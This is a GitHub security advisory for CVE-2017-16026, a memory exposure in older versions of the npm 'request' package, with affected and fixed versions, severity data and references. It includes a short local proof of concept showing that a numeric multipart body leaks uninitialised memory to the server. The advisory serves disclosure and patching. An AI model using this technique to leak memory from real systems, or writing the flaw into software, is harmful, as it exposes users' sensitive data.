GitHub Advisoryadvisory · npm
GHSA-7xfp-9c55-5vqj Remote Memory Exposure in request
MEDIUM
Official page ↗
- Aliases
- CVE-2017-16026
- Ecosystem
- npm
- Packages
- request
- Severity
- Moderate
- CVSS vector
- CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-201
- Reviewed
- 2020-06-16
Affected packages
• npm request: >= 2.49.0, < 2.68.0 → fixed in 2.68.0
• npm request: >= 2.2.6, < 2.68.0 → fixed in 2.68.0
Description
Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
```js
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
```
Recommendation
Update to version 2.68.0 or later
Related
Alias · CVE (1)
- CVE-2017-16026 Request is an http client. vulnerability
Weakness · CWE (1)
- CWE-201 Insertion of Sensitive Information Into Sent Data weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-16026 advisory
- https://github.com/request/request/issues/1904 web
- https://github.com/request/request/pull/2018 web
- https://github.com/request/request/pull/2022 web
- https://github.com/request/request/commit/29d81814bc16bc79cb112b4face8be6fc00061dd web
- https://github.com/request/request package